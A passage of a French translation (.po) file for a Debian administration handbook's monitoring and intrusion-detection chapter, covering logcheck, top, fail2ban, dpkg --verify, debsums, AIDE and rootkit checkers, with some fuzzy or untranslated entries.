file calling firewall script" msgstr "Fichier interfaces avec appel du script de pare-feu" msgid "" "auto eth0\n" "iface eth0 inet static\n" " address 192.168.0.1\n" " network 192.168.0.0\n" " netmask 255.255.255.0\n" " broadcast 192.168.0.255\n" " up /usr/local/etc/arrakis.fw" msgstr "" "auto eth0\n" "iface eth0 inet static\n" " address 192.168.0.1\n" " network 192.168.0.0\n" " netmask 255.255.255.0\n" " broadcast 192.168.0.255\n" " up /usr/local/etc/arrakis.fw" msgid "This obviously assumes that you are using ifupdown to configure the network interfaces. If you are using something else (like NetworkManager or systemd-networkd), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up." msgstr "Ces exemples supposent que les interfaces réseau sont configurées par ifupdown. Si vous utilisez un autre outil (par exemple NetworkManager ou systemd-networkd), il faudra vous référer à la documentation spécifique de cet outil pour trouver le moyen d'exécuter un script après la mise en marche de l'interface." msgid "Supervision: Prevention, Detection, Deterrence" msgstr "Supervision : prévention, détection, dissuasion" msgid "monitoring" msgstr "supervision" msgid "Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes ." msgstr "La supervision fait partie intégrante d'une politique de sécurité. Elle est nécessaire à plusieurs titres : l'objectif de la sécurité n'est pas uniquement de garantir la confidentialité des données, mais aussi d'assurer le bon fonctionnement des services. Il est donc impératif de veiller à ce que tout fonctionne comme prévu et de détecter au plus tôt les comportements inhabituels et les changements dans la qualité du service fourni. Surveiller l'activité peut permettre de détecter des tentatives d'intrusion et donc de s'en protéger avant que cela ne porte à conséquences. Ce chapitre va passer en revue des outils servant à surveiller différents aspects d'un système Debian. Il complète la ." msgid "Monitoring Logs with logcheck" msgstr "Surveillance des logs avec logcheck" msgid "logcheck" msgstr "logcheck" #, fuzzy #| msgid "logsmonitoring" msgid "log filesmonitoring" msgstr "logssurveillance" msgid "monitoringlog files" msgstr "surveillancedes logs" #, fuzzy #| msgid "monitoringlog files" msgid "filelog file" msgstr "surveillancedes logs" msgid "The logcheck program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis." msgstr "Le programme logcheck scrute par défaut les fichiers de logs toutes les heures et envoie par courrier électronique à root les messages les plus inhabituels pour aider à détecter tout nouveau problème." msgid "The list of monitored files is stored in /etc/logcheck/logcheck.logfiles; the default values work fine if the /etc/rsyslog.conf file has not been completely overhauled." msgstr "La liste des fichiers scrutés se trouve dans le fichier /etc/logcheck/logcheck.logfiles ; les choix par défaut conviendront si le fichier /etc/rsyslog.conf n'a pas été complètement remodelé." msgid "/etc/etc/logcheck/logcheck" msgstr "" #, fuzzy #| msgid "monitoringlog files" msgid "/etc/etc/rsyslog.conf" msgstr "surveillancedes logs" msgid "logcheck can work in one of three more or less detailed modes: paranoid, server and workstation. The first one is very verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages)." msgstr "logcheck peut fonctionner en 3 modes plus ou moins détaillés : paranoid (paranoïaque), server (serveur) et workstation (station de travail). Le premier étant le plus verbeux, on le réservera aux serveurs spécialisés (comme les pare-feu). Le deuxième mode, choisi par défaut, est recommandé pour les serveurs. Le dernier, prévu pour les stations de travail, élimine encore plus de messages." msgid "In all three cases, logcheck should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, /usr/share/doc/logcheck-database/README.logcheck-database.gz is a required — if challenging — read." msgstr "Dans tous les cas, il faudra probablement paramétrer logcheck pour exclure des messages supplémentaires (selon les services installés) sous peine d'être envahi chaque heure par une multitude de messages inintéressants. Leur mécanisme de sélection étant relativement complexe, il faut lire à tête reposée le document /usr/share/doc/logcheck-database/README.logcheck-database.gz pour bien le comprendre." msgid "The applied rules can be split into several types:" msgstr "Plusieurs types de règles sont appliqués :" msgid "those that qualify a message as a cracking attempt (stored in a file in the /etc/logcheck/cracking.d/ directory);" msgstr "celles qui qualifient un message comme résultant d'une tentative d'attaque (elles sont stockées dans un fichier du répertoire /etc/logcheck/cracking.d/) ;" msgid "those canceling such a qualification (/etc/logcheck/cracking.ignore.d/);" msgstr "celles qui annulent cette qualification (/etc/logcheck/cracking.ignore.d/) ;" msgid "those classifying a message as a security alert (/etc/logcheck/violations.d/);" msgstr "celles qui qualifient un message comme une alerte de sécurité (/etc/logcheck/violations.d/) ;" msgid "those canceling this classification (/etc/logcheck/violations.ignore.d/);" msgstr "celles qui annulent cette qualification (/etc/logcheck/violations.ignore.d/) ;" msgid "finally, those applying to the remaining messages (considered as system events)." msgstr "et enfin celles qui s'appliquent à tous les messages restants (les System Events, ou événements système)." msgid "CAUTION Ignoring a message" msgstr "ATTENTION Ignorer un message" msgid "Any message tagged as a cracking attempt or a security alert (following a rule stored in a /etc/logcheck/violations.d/myfile file) can only be ignored by a rule in a /etc/logcheck/violations.ignore.d/myfile or /etc/logcheck/violations.ignore.d/myfile-extension file." msgstr "Tout message marqué comme une tentative d'attaque ou une alerte de sécurité (suite par exemple à une règle du fichier /etc/logcheck/violations.d/monfichier) ne pourra être ignoré que par une règle des fichiers /etc/logcheck/violations.ignore.d/monfichier ou /etc/logcheck/violations.ignore.d/monfichier-extension." msgid "A system event is always signaled unless a rule in one of the /etc/logcheck/ignore.d.{paranoid,server,workstation}/ directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode." msgstr "Un événement système sera systématiquement signalé, sauf si une règle de l'un des répertoires /etc/logcheck/ignore.d.{paranoid,server,workstation}/ dicte de l'ignorer. Évidemment, seuls les répertoires correspondant à des niveaux de verbosité supérieurs ou égaux au niveau sélectionné sont pris en compte." msgid "Monitoring Activity" msgstr "Surveillance de l'activité" msgid "monitoringactivity" msgstr "surveillancede l'activité" msgid "activity, monitoring" msgstr "activité, surveillance" msgid "In Real Time" msgstr "En temps réel" msgid "top" msgstr "top" msgid "top is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the P key. Other sort orders include a sort by occupied memory (M key), by total processor time (T key) and by process identifier (N key). The k key allows killing a process by entering its process identifier. The r key allows renicing a process, i.e. changing its priority." msgstr "top est un utilitaire interactif qui affiche la liste des processus en cours d'exécution. Par défaut, son critère de tri est l'utilisation actuelle du processeur (touche P), mais on peut opter pour la mémoire occupée (touche M), le temps processeur consommé (touche T) ou le numéro de processus ou PID (touche N). La touche k (comme kill) nécessite un numéro de processus à tuer. r (comme renice) change la priorité d'un processus." #, fuzzy #| msgid "When the system seems to be overloaded, top is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it's probably an instance of software installed and executed on the system through a vulnerability in a web application." msgid "When the system seems to be overloaded, top is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application." msgstr "Si le processeur semble être surchargé, il est ainsi possible d'observer quels processus se battent pour son contrôle ou consomment toute la mémoire disponible. Il est intéressant en particulier de vérifier si les processus qui consomment des ressources correspondent effectivement aux services réels que la machine héberge. Un processus au nom inconnu tournant sous l'utilisateur www-data doit immédiatement attirer l'attention : la probabilité est forte que cela corresponde à un logiciel installé et exécuté sur la machine en exploitant une faille de sécurité d'une application web." msgid "top is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits." msgstr "top est un outil de base très souple et sa page de manuel explique comment en personnaliser l'affichage pour l'adapter aux besoins et aux habitudes de chacun." msgid "The gnome-system-monitor graphical tool is similar to top and it provides roughly the same features." msgstr "L'outil graphique gnome-system-monitor est similaire à top, et il propose sensiblement les mêmes fonctionnalités." msgid "gnome-system-monitor" msgstr "gnome-system-monitor" msgid "History" msgstr "Historique" msgid "activity, history" msgstr "activité, historique" msgid "SNMP" msgstr "SNMP" #, fuzzy #| msgid "Simple Network Management Protocol" msgid "Simple Network Management ProtocolSNMP" msgstr "Simple Network Management Protocol" #, fuzzy #| msgid "top" msgid "cacti" msgstr "top" msgid "Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used." msgstr "La charge du processeur, le trafic réseau et l'espace disque disponible sont des informations qui varient en permanence. Il est souvent intéressant de garder une trace de leur évolution pour mieux cerner l'usage qui est fait de l'ordinateur." msgid "There are many dedicated tools for this task. Most can fetch data via SNMP (Simple Network Management Protocol) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches." msgstr "Il existe de nombreux outils dédié à cette tâche. La plupart peuvent récupérer des données via SNMP (Simple Network Management Protocol, ou protocole simple de gestion du réseau) afin de centraliser ces informations. Cela permet en outre de récupérer des informations sur des éléments du réseau qui ne sont pas nécessairement des ordinateurs (comme des routeurs)." #, fuzzy #| msgid "This book deals with Munin in some detail (see ) as part of . Debian also provides a similar tool, cacti. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (/usr/share/doc/cacti/html/index.html) should be considered a prerequisite." msgid "This book deals with Munin in some detail (see ) as part of . Debian also provides a similar tool, cacti. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (/usr/share/doc/cacti/html/Table-of-Contents.html) should be considered a prerequisite." msgstr "Ce livre traite en détail de Munin (voir ) dans le cadre du . Debian dispose également de cacti. Il est un peu plus complexe à mettre en œuvre : l'usage de SNMP est inévitable et malgré une interface web, les concepts de configuration restent difficiles à appréhender. La lecture de la documentation HTML (/usr/share/doc/cacti/html/index.html) sera indispensable si l'on souhaite le mettre en œuvre." msgid "ALTERNATIVE mrtg" msgstr "ALTERNATIVE mrtg" msgid "mrtg" msgstr "mrtg" msgid "mrtg (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on." msgstr "mrtg (du paquet Debian éponyme) est un outil plus ancien et plus rustique capable d'agréger des données historiques et d'en faire des graphiques. Il dispose d'un certain nombre de scripts de récupération des données les plus couramment surveillées : charge, trafic réseau, impacts (hits) web, etc." msgid "The mrtg-contrib and mrtgutils packages contain example scripts that can be used directly." msgstr "Les paquets mrtg-contrib et mrtgutils contiennent des scripts d'exemples, prêts à l'emploi." msgid "Avoiding Intrusion" msgstr "" msgid "intrusion detection" msgstr "détection d'intrusion" #, fuzzy #| msgid "MD5" msgid "brute-force" msgstr "MD5" #, fuzzy #| msgid "checksecurity" msgid "fail2ban" msgstr "checksecurity" msgid "Attackers try to get access to servers by guessing passwords, which is why strong passwords must always be used. Even then, you should also establish measures against brute-force attacks. A brute-force attack is an attempt to log into an unauthorized software system by performing multiple login attempts in a short period of time." msgstr "" msgid "The best way to stop a brute-force attack is to limit the number of login attempts coming from the same origin, usually by temporarily banning an IP address." msgstr "" msgid "Fail2Ban is an intrusion prevention software suite that can be configured to monitor any service that writes login attempts to a log file. It can be found in the package fail2ban." msgstr "" msgid "Fail2Ban is configured through a simple protocol by fail2ban-client, which also reads configuration files and issues corresponding configuration commands to the server, fail2ban-server. It has four configuration file types, all stored in /etc/fail2ban/:" msgstr "" #, fuzzy #| msgid "monitoringlog files" msgid "/etc/etc/fail2ban/" msgstr "surveillancedes logs" msgid "fail2ban.conf. Global configuration (such as logging)." msgstr "" msgid "filter.d/*.conf. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs." msgstr "" msgid "action.d/*.conf. Actions defining the commands for banning and “unbanning“ of IP addresses." msgstr "" #, fuzzy #| msgid "chain" msgid "jail" msgstr "chaîne" msgid "jail.conf. It is where jails, the combinations of filters and actions, are defined." msgstr "" msgid "Let us have a look at the configuration of sshd in /etc/fail2ban/jail.conf to better understand how Fail2Ban works..." msgstr "" #, fuzzy #| msgid "logsdisplay" msgid "SSHfail2ban" msgstr "logsaffichage" msgid "" "[...]\n" "[DEFAULT]\n" "[...]\n" "bantime = 10m\n" "[...]\n" "findtime = 10m\n" "[...]\n" "maxretry = 5\n" "[...]\n" "[sshd]\n" "port = ssh\n" "logpath = %(sshd_log)s\n" "backend = %(sshd_backend)s" msgstr "" msgid "Fail2Ban will check for failed login attempts for sshd using Python regular expressions defined in /etc/fail2ban/filter.d/sshd.conf against the log file of sshd, which is defined in the variable sshd_log in the file /etc/fail2ban/paths-common.conf. If Fail2Ban detects five failed login attempts within 10 minutes, it will ban the IP address where those attempts originated for 10 minutes." msgstr "" msgid "To enable, disable, or configure “jails“, the main configuration file /etc/fail2ban/jail.conf is not supposed to be altered. Instead this is supposed to be done in /etc/fail2ban/jail.d/defaults-debian.conf or files within the same directory." msgstr "" msgid "Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet." msgstr "" msgid "A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt." msgstr "" msgid "Detecting Changes" msgstr "Détection des changements" #, fuzzy #| msgid "Once the system is installed and configured, and barring security upgrades, there's usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes)." msgid "Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes)." msgstr "Une fois le système installé et configuré, l'état de la majorité des fichiers et répertoires (hors données) n'a pas de raison d'évoluer (sauf mises à jour de sécurité). Il est donc intéressant de s'assurer que c'est bien le cas : tout changement inattendu est alors suspect. Les outils présentés dans cette section permettent de surveiller tous les fichiers et de prévenir les administrateurs en cas d'altération inattendue, ou alors simplement de diagnostiquer l'étendue des altérations." msgid "Auditing Packages with dpkg --verify" msgstr "Audit des paquets avec dpkg --verify" #, fuzzy #| msgid "dpkgdpkg --verify" msgid "dpkg--verify" msgstr "dpkgdpkg --verify" msgid "GOING FURTHER Protecting against upstream changes" msgstr "POUR ALLER PLUS LOIN Se protéger des modifications en amont" #, fuzzy #| msgid "dpkg --verify is useful in detecting changes to files coming from a Debian package, but it will be useless if the package itself is compromised, for instance if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see ), and taking care to only install packages from a certified origin." msgid "dpkg --verify and debsums are useful in detecting changes to files coming from a Debian package, but they will be useless if the package itself is compromised, for instance, if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see ), and taking care to only install packages from a certified origin." msgstr "dpkg --verify peut être utilisé pour détecter les changements effectués sur les fichiers provenant d'un paquet Debian. Mais si le paquet Debian lui-même est compromis, il ne sera d'aucune utilité. Cela pourrait être le cas si le miroir Debian employé est lui-même compromis. Pour se protéger de ces attaques, il faut s'appuyer sur le mécanisme de vérification de signatures numériques intégré à APT (voir ) et prendre soin de n'installer que des paquets dont l'origine a pu être certifiée." msgid "dpkg --verify (or dpkg -V) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in /var/lib/dpkg/info/package.md5sums); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files." msgstr "dpkg --verify (ou dpkg -V) est un outil intéressant qui permet de trouver quels fichiers installés ont été modifiés (potentiellement par un attaquant), mais cette information est à prendre avec précaution. Pour faire son travail, dpkg utilise les sommes de contrôle stockée dans sa propre base de données, qui est elle-même stockée sur le disque dur (dans le fichier /var/lib/dpkg/info/paquet.md5sums) ; un attaquant minutieux pourra donc mettre à jour ces fichiers pour qu'ils correspondent aux nouvelles sommes de contrôle des fichiers corrompus." #, fuzzy #| msgid "debsums" msgid ".md5sums" msgstr "debsums" msgid "BACK TO BASICS File fingerprint" msgstr "B.A.-BA Empreinte d'un fichier" #, fuzzy #| msgid "logsmonitoring" msgid "filefingerprint" msgstr "logssurveillance" msgid "fingerprint" msgstr "empreinte" #, fuzzy #| msgid "chain" msgid "hashsum" msgstr "chaîne" #, fuzzy #| msgid "control sum" msgid "control sumhashsum" msgstr "somme de contrôle" msgid "MD5" msgstr "MD5" msgid "SHA1" msgstr "SHA1" #, fuzzy #| msgid "As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm (MD5 or SHA1 being well-known examples) that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task." msgid "As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm, e.g. MD5 via md5sum or SHA* via various sha* commands being well-known examples, that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task." msgstr "Rappelons qu'une empreinte est une valeur, généralement numérique (même si elle est codée en hexadécimal), constituant une sorte de signature caractéristique du contenu d'un fichier. Elle est calculée au moyen d'algorithmes (les plus connus étant MD5 et SHA1) qui garantissent dans la pratique que (presque) toute modification du fichier, aussi minime soit-elle, entraînera un changement de l'empreinte ; c'est l'« effet d'avalanche ». C'est pourquoi une empreinte numérique sert à vérifier que le contenu d'un fichier n'a pas été altéré. Ces algorithmes ne sont pas réversibles, c'est-à-dire que pour la plupart d'entre eux, il est impossible de retrouver un contenu inconnu à partir de la seule empreinte. De récentes découvertes scientifiques tendent à infirmer l'inviolabilité de ces principes, mais cela ne remet pas encore en cause leur usage puisque la création de contenus différents générant la même empreinte semble être très contraignante." msgid "Running dpkg -V will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of rpm -V where each character denotes a test on some specific meta-data. Unfortunately dpkg does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a \"5\" on the third character (when it fails)." msgstr "La commande dpkg -V vérifie tous les paquets installés, et affiche une ligne pour chaque fichier qui échoue au test d'intégrité. Le format de sortie est le même que celui de rpm -V, où chaque caractère correspond à un test sur une métadonnée spécifique. Malheureusement, dpkg ne stocke pas toutes les métadonnées requises pour tous les tests, et n'affichera donc que des points d'interrogation pour la plupart. À l'heure actuelle, seul le test de somme de contrôle peut afficher un « 5 » (en troisième colonne) en cas d'échec." msgid "" "\n" "# dpkg -V\n" "??5?????? /lib/systemd/system/ssh.service\n" "??5?????? c /etc/libvirt/qemu/networks/default.xml\n" "??5?????? c /etc/lvm/lvm.conf\n" "??5?????? c /etc/salt/roster" msgstr "" "\n" "# dpkg -V\n" "??5?????? /lib/systemd/system/ssh.service\n" "??5?????? c /etc/libvirt/qemu/networks/default.xml\n" "??5?????? c /etc/lvm/lvm.conf\n" "??5?????? c /etc/salt/roster" #, fuzzy #| msgid "In the sample above, dpkg reports a change to SSH's service file that the administrator made to the packaged file instead of using an appropriate /etc/systemd/system/ssh.service override (which would be stored below /etc like any configuration change should be). It also lists multiple configuration files (identified by the \"c\" letter on the second field) that had been legitimately modified." msgid "In the sample above, dpkg reports a change to SSH's service file that the administrator made to the packaged file instead of using an appropriate /etc/systemd/system/ssh.service.d/override.conf override (which would be stored below /etc like any configuration change should be). It also lists multiple configuration files (identified by the \"c\" letter on the second field) that had been legitimately modified." msgstr "Dans l'exemple ci-dessus, dpkg signale un changement dans le fichier de service de SSH que l'administrateur a effectué dans le fichier du paquet au lieu de modifier la configuration avec un fichier /etc/systemd/system/ssh.service (stocké dans /etc comme tout fichier de configuration qui se respecte). dpkg liste également plusieurs fichiers de configuration (identifiés par la lettre « c » du deuxième champ) qui ont été (légitimement) modifiés." msgid "/etc/etc/systemd/system/*.d/override.conf" msgstr "" msgid "Auditing Packages: debsums and its Limits" msgstr "Audit des paquets : l'outil debsums et ses limites" msgid "debsums" msgstr "debsums" #, fuzzy #| msgid "debsums is the ancestor of dpkg -V and is thus mostly obsolete. It suffers from the same limitations than dpkg. Fortunately, some of the limitations can be worked-around (whereas dpkg does not offer similar work-arounds)." msgid "debsums is the ancestor of dpkg -V and is thus mostly obsolete. It suffers from the same limitations than dpkg. Fortunately, some of the limitations can be worked-around (whereas dpkg does not offer similar workarounds)." msgstr "debsums est l'ancêtre de dpkg -V, et ce dernier l'a rendu quasiment obsolète. Il souffre des mêmes restrictions que dpkg. Heureusement, il est possible de passer outre une partie de ces restrictions (ce que ne permet pas dpkg)." msgid "Since the data on the disk cannot be trusted, debsums offers to do its checks based on .deb files instead of relying on dpkg's database. To download trusted .deb files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis." msgstr "Comme il n'est pas possible de faire confiance aux fichiers stockés sur le disque, debsums permet d'effectuer ses vérifications à partir de fichiers .deb plutôt qu'à partir de la base de données de dpkg. Pour télécharger les fichiers .deb de confiance de tous les paquets installés, on peut utiliser les téléchargements authentifiés d'APT. Mais cette opération peut être longue et pénible, et n'est donc pas à envisager dans le cadre d'une technique proactive à utiliser de manière routinière." #, fuzzy #| msgid "" #| "\n" #| "# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`\n" #| "[ ... ]\n" #| "# debsums -p /var/cache/apt/archives --generate=all" msgid "" "\n" "# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`\n" "[ ... ]\n" "# debsums -p /var/cache/apt/archives --generate=all" msgstr "" "\n" "# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`\n" "[ ... ]\n" "# debsums -p /var/cache/apt/archives --generate=all" msgid "Note that this example uses the grep-status command from the dctrl-tools package, which is not installed by default." msgstr "Attention, cet exemple a employé la commande grep-status du paquet dctrl-tools, qui n'est pas installé en standard." #, fuzzy #| msgid "bufferreceive buffer" msgid "/etc/etc/default/debsums" msgstr "réception, tampon" #, fuzzy #| msgid "monitoringlog files" msgid "/etc/etc/debsums-ignore" msgstr "surveillancedes logs" msgid "debsums can be run frequently as a cronjob setting CRON_CHECK in /etc/default/debsums. To ignore certain files outside the /etc directory, which have been altered on purpose or which are expected to change (like /usr/share/misc/pci.ids) you can add them to /etc/debsums-ignore." msgstr "" msgid "Monitoring Files: AIDE" msgstr "Surveillance des fichiers : AIDE" #, fuzzy #| msgid "ping" msgid "aideinit" msgstr "ping" #, fuzzy #| msgid "IDS" msgid "AIDE" msgstr "IDS" #, fuzzy #| msgid "intrusion detection" msgid "Advanced Intrusion Detection EnvironmentAIDE" msgstr "détection d'intrusion" #, fuzzy #| msgid "monitoringlog files" msgid "/etc/etc/cron.daily/aide" msgstr "surveillancedes logs" msgid "The AIDE tool (Advanced Intrusion Detection Environment) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (/var/lib/aide/aide.db) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with aideinit; it is then used daily (by the /etc/cron.daily/aide script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (/var/log/aide/*.log) and sends its findings to the administrator by email." msgstr "AIDE (Advanced Intrusion Detection Environment) est un outil qui sert à vérifier l'intégrité des fichiers et à détecter toute altération par rapport à une image du système préalablement enregistrée et validée. Cette dernière prend la forme d'une base de données (/var/lib/aide/aide.db) contenant les caractéristiques de tous les fichiers du système (permissions, horodatages, empreintes numériques, etc.). Cette base de données est initialisée une première fois par aideinit ; elle est ensuite employée pour vérifier quotidiennement (script /etc/cron.daily/aide) que rien n'a changé. Si des changements sont détectés, le logiciel les enregistre dans des fichiers de journalisation (/var/log/aide/*.log) et envoie un courrier à l'administrateur avec ses découvertes." msgid "IN PRACTICE Protecting the database" msgstr "EN PRATIQUE Protection de la base de données" msgid "Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media." msgstr "Puisque AIDE utilise une base de données pour comparer l'état des fichiers, il faut être conscient que la validité des résultats fournis dépend de la validité de la base de données. Sur un système compromis, un attaquant obtenant les droits root pourra remplacer la base de données et passer inaperçu. C'est pourquoi, pour plus de sécurité, il peut être intéressant de stocker la base de données de référence sur un support accessible en lecture seulement." #, fuzzy #| msgid "bufferreceive buffer" msgid "/etc/etc/aide/aide.conf" msgstr "réception, tampon" msgid "Many options in /etc/default/aide can be used to tweak the behavior of the aide package. The AIDE configuration proper is stored in /etc/aide/aide.conf and /etc/aide/aide.conf.d/ (actually, these files are only used by update-aide.conf to generate /var/lib/aide/aide.conf.autogenerated). Configuration indicates which properties of which files need to be checked. For instance, the contents of log files changes routinely, and such changes can be ignored as long as the permissions of these files stay the same, but both contents and permissions of executable programs must be constant. Although not very complex, the configuration syntax is not fully intuitive, and reading the aide.conf 5 manual page is therefore recommended." msgstr "Le comportement du paquet aide se paramètre grâce à de nombreuses options dans /etc/default/aide. La configuration du logiciel proprement dit se trouve dans /etc/aide/aide.conf et /etc/aide/aide.conf.d/ (en réalité, ces fichiers servent de base à update-aide.conf pour créer /var/lib/aide/aide.conf.autogenerated). La configuration indique quelles propriétés de chaque fichier il faut vérifier. Ainsi, le contenu des fichiers de logs peut varier tant que les permissions associées ne varient pas, mais le contenu et les permissions d'un exécutable doivent être fixes. La syntaxe n'est pas très compliquée, mais elle n'est pas forcément intuitive pour autant. La lecture de la page de manuel aide.conf5 est donc bénéfique." msgid "A new version of the database is generated daily in /var/lib/aide/aide.db.new; if all recorded changes were legitimate, it can be used to replace the reference database." msgstr "Une nouvelle version de la base de données est générée chaque jour dans /var/lib/aide/aide.db.new et peut être utilisée pour remplacer la base officielle si tous les changements constatés étaient légitimes." msgid "ALTERNATIVE Tripwire and Samhain" msgstr "ALTERNATIVE Tripwire et Samhain" #, fuzzy #| msgid "checksecurity" msgid "tripwire" msgstr "checksecurity" #, fuzzy #| msgid "checksecurity" msgid "samhain" msgstr "checksecurity" msgid "Tripwire is very similar to AIDE; even the configuration file syntax is almost the same. The main addition provided by tripwire is a mechanism to sign the configuration file, so that an attacker cannot make it point at a different version of the reference database." msgstr "Tripwire est très similaire à AIDE ; la syntaxe de son fichier de configuration est quasiment identique. Le paquet tripwire propose en outre un mécanisme de signature du fichier de configuration afin qu'un attaquant ne puisse pas le changer pour le faire pointer vers une version différente de la base de données." msgid "Samhain also offers similar features, as well as some functions to help detecting rootkits (see the sidebar ). It can also be deployed globally on a network, and record its traces on a central server (with a signature)." msgstr "Samhain offre des fonctionnalités similaires ainsi qu'un certain nombre de fonctions pour détecter la présence de rootkits (voir ). En outre, il peut être employé sur tout un réseau et enregistrer ses traces sur un serveur central après les avoir signées." msgid "QUICK LOOK The checksecurity and chkrootkit/rkhunter packages" msgstr "DÉCOUVERTE Les paquets checksecurity et chkrootkit/rkhunter" msgid "checksecurity" msgstr "checksecurity" #, fuzzy #| msgid "checksecurity" msgid "chkrootkit" msgstr "checksecurity" #, fuzzy #| msgid "checksecurity" msgid "rkhunter" msgstr "checksecurity" msgid "The first of these packages contains several small scripts performing basic checks on the system (empty passwords, new setuid files, and so on) and warning the administrator if required. Despite its explicit name, an administrator should not rely solely on it to make sure a Linux system is secure." msgstr "Le premier paquet contient plusieurs petits scripts qui effectuent des vérifications de base sur le système (mot de passe vide, détection de nouveaux fichiers setuid, etc.) et alertent l'administrateur si nécessaire. Malgré son nom explicite, il ne faut pas se fier seulement à ce paquet pour vérifier la sécurité d'un système Linux." msgid "The chkrootkit and rkhunter packages allow looking for rootkits potentially installed on the system. As a reminder, these are pieces of software designed to hide the compromise of a system while discreetly keeping control of the machine. The tests are not 100% reliable, but they can usually draw the administrator's attention to potential problems." msgstr "Les paquets chkrootkit et rkhunter recherchent de potentiels rootkits installés sur le système. Rappelons qu'il s'agit de logiciels destinés à dissimuler la compromission d'un système et à conserver un contrôle discret sur la machine. Les tests ne sont pas fiables à 100 %, mais ils permettent tout de même d'attirer l'attention de l'administrateur sur des problèmes potentiels." msgid "rkhunter also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications." msgstr "" msgid "Detecting Intrusion (IDS/NIDS)" msgstr "Détection d'intrusion (IDS/NIDS)" #, fuzzy #| msgid "logsmonitoring" msgid "detectingintrusion" msgstr "logssurveillance" #, fuzzy #| msgid "intrusion detection system" msgid "IDSIntrusion Detection System" msgstr "Intrusion Detection System" #, fuzzy #| msgid "intrusion detection system" msgid "Intrusion Detection SystemIDS" msgstr "Intrusion Detection System" msgid "NIDS" msgstr "NIDS" #, fuzzy #| msgid "NetworkIDS" msgid "networkIDSNIDS" msgstr "NetworkIDS" msgid "BACK TO BASICS Denial of service" msgstr "B.A.-BA Dénis de service" #, fuzzy #| msgid "denial of service" msgid "Denial of ServiceDoS" msgstr "dénis de service" #, fuzzy #| 